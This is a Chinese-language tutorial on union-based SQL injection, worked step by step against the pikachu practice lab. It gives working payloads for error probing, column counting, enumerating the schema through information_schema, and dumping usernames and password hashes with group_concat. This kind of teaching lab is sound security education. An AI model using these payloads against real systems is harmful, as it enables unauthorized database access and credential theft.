SQL注入(SQL Injection)是一种网络攻击技术,攻击者通过将恶意的SQL代码插入到应用程序的输入字段,从而欺骗应用程序执行未经授权的操作。这种攻击方式可以导致严重的安全问题,包括:
数据泄露:攻击者可以未经授权地访问和检索数据库中的敏感数据。 数据篡改:攻击者可以修改、删除或添加数据库中的数据。 身份冒充:攻击者可以冒充其他用户,包括管理员,从而获得更高的权限。 拒绝服务:通过破坏数据库或使其负载过重,使得数据库无法正常提供服务。
SQL注入的常见类型
联合查询注入(Union-based Injection):利用UNION
语句将恶意查询与合法查询合并。
首先来说明一下联合查询:
联合查询(Union Query)是一种SQL操作,用于将多个SQL查询的结果组合在一起。联合查询使用UNION
关键字连接两个或多个SELECT
语句的结果集;每个查询的结果集必须具有相同数量的列
,并且对应列的数据类型必须兼容。
假设有两个表users
和member
,他们都有一些相同的列,例如id
和name
。
user: +----+----------+----------------------------------+-------+ | id | username | password | level | +----+----------+----------------------------------+-------+ | 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 | | 2 | pikachu | 670b14728ad9902aecba32e22fa4f6bd | 2 | | 3 | test | e99a18c428cb38d5f260853678922e03 | 3 | +----+----------+----------------------------------+-------+ member: +----+----------+----------------------------------+ | id | username | pw | +----+----------+----------------------------------+ | 1 | vince | e10adc3949ba59abbe56e057f20f883e | | 2 | allen | e10adc3949ba59abbe56e057f20f883e | | 3 | kobe | e10adc3949ba59abbe56e057f20f883e | | 4 | grady | e10adc3949ba59abbe56e057f20f883e | | 5 | kevin | e10adc3949ba59abbe56e057f20f883e | | 6 | lucy | e10adc3949ba59abbe56e057f20f883e | | 7 | lili | e10adc3949ba59abbe56e057f20f883e | +----+----------+----------------------------------+
此时,我们希望查询所有用户的id
和username
,就可以使用联合查询;
select id,username from users union select id,username from member;
这个查询将返回所有users
和member
的id
和name
,并且会去除重复的记录(如果有的话),此时查询的结果为:
联合查询是一种强大的SQL工具,允许你将多个查询的结果集组合在一起,形成一个综合结果集;联合查询注入中,攻击者利用这一特性,将自己的查询结果与原查询结果联合,从而窃取或篡改数据。
此时我们以pikachu
靶场中的sql注入漏洞(字符型注入)为例子讲述联合查询注入的利用;
首先需要知道一个用户名,此处以kobe
用户名为例子;
此时可以看到回显正常,并且输出回显了uid
和email
等数据,说明我们可以尝试测试一下此处是否存在sql注入漏洞
;最简单的方式:我们可以在上述输入的kobe后加上一个单引号(’)或双引号("),如果页面回显报错信息则表示此处存在sql注入
漏洞;
回显结果明显为Mysql的sql语句报错,表明此处存在sql注入漏洞:
报错原因:我们将此处提交的数据放入靶场的程序源码中的查询语句中进行解释;
这个时候将我们输入的数据kobe'
带入$name
变量中:此时sql语句则会产生语法错误进而报错。
select id,email from member where username='kobe'' #报错
按照常规的步骤,接着我们就应该判断该注入点类型,但是由于此处的输入为username,那么此时就无需再进行判断了,此处的注入类型为字符型;
①字符型注入判断依据:
kobe' and 1=1 --+ 回显正常
kobe' and 1=2 --+ 无回显
为了方便理解,此时我们将上述语句带入源码中的sql语句中:
select id,email from member where username='kobe' and 1=1 --+' 回显正常
select id,email from member where username='kobe' and 1=2 --+' 无回显
②若是注入类型为整型,语句为:
数字 and 1=1 回显正常
数字 and 1=2 无回显
接着可以进行列数判断(查询得到的数据列数,后面进行联合查询时需要用到),判断列数需要使用order by
子句,ORDER BY
子句在 MySQL 中用于对查询结果按照列进行排序,ORDER BY
子句后跟上对应数字则表示对对应列进行排序,如order by 3 则表示对第3列进行排序,如果指定的列数过大,大于查询结果的列数,则语句会报错。
kobe' order by 3 --+ #报错,说明查询到的数据小于3列
kobe' order by 2 --+ #正常回显,表明查询到的数据为2列
接着就可以使用联合查询进行注入,联合查询数字1和数字2,进行回显位置的查看;
name=kobe' and 1=2 union select 1,2 --+
查询数据库名
接着我们就可以自行选择一个回显位置进行查询,如果此时我想在数字2的位置查询出当前的数据库名,那么语句就可以这样写:
kobe' and 1=2 union select 1,database() --+
DATABASE()
函数在 MySQL 中用于返回当前使用的数据库的名称;此时我们可以得知此时该网站所对应的数据库库名为pikachu
;数据库名查询出来后就可以接着查询该数据库中的表、列(此时我们并不知道该数据库中有哪些表,表中有哪些列)最后脱取数据,所以此时我们需要获取该数据库中所有表的表名,具体语句:
kobe' and 1=2 union select 1,table_name from information_schema.tables where table_schema="pikachu" --+
获取到的结果:
information_schema
是 MySQL 中的一个虚拟数据库,它包含有关数据库元数据的信息; 提供了一种方式来查询关于数据库、表、列、索引、权限等的详细信息;而INFORMATION_SCHEMA
数据库中的tables
表在包含了有关数据库中所有表的信息,table_name
为存储表名的段,table_schema
为tables
表中存储数据库名的段。
查询数据表名
表名查询完毕后则可以继续查询表中的列名,此处我们以users
表为例子进行演示,具体例子;
kobe' and 1=2 union select 1,column_name from information_schema.columns where table_schema="pikachu" and table_name="users" --+
information_schema
数据库中的COLUMNS
表在 MySQL 中包含了有关数据库中所有列的信息,column_name
是COLUMNS
表中存取所有表的列名的列;where
后指定要获取列名的表,查询的结果为:
获取数据
获得表名和列名后,就可以导出表中的数据了,具体的语句:
kobe' and 1=2 union select 1,group_concat(username,"-",password) from users --+
kobe'
:这是注入的开始,kobe'
可能是一个用户输入的部分,这里故意闭合了前面的引号,目的是结束原始的SQL语句。
and 1=2
:这是一个总是返回 false
的条件。通过添加这个条件,可以确保原始查询的结果集为空。
union select 1,group_concat(username,"-",password) from users
:UNION
操作符用于合并两个查询的结果集。
select 1, group_concat(username, "-", password) from users
是攻击者的恶意查询部分。
-
group_concat(username, "-", password)
将username
和password
列连接起来,并用-
分隔,返回一个字符串列表,GROUP_CONCAT()
是 MySQL 中的一个聚合函数,用于将多行的值连接成一个字符串。这个函数通常用于在查询结果中合并多行的数据,并将它们以指定的分隔符连接起来。这个查询将试图从users
表中获取所有用户名和密码,并以-
分隔。
--+
:
-
--
是SQL注释符号,后面的部分(包括+
)将被忽略,这样可以确保剩余的SQL代码不会影响注入的查询。
此时数据(账号、密码)导出情况:
此时密码为密文,需要通过一些解密方法进行解密。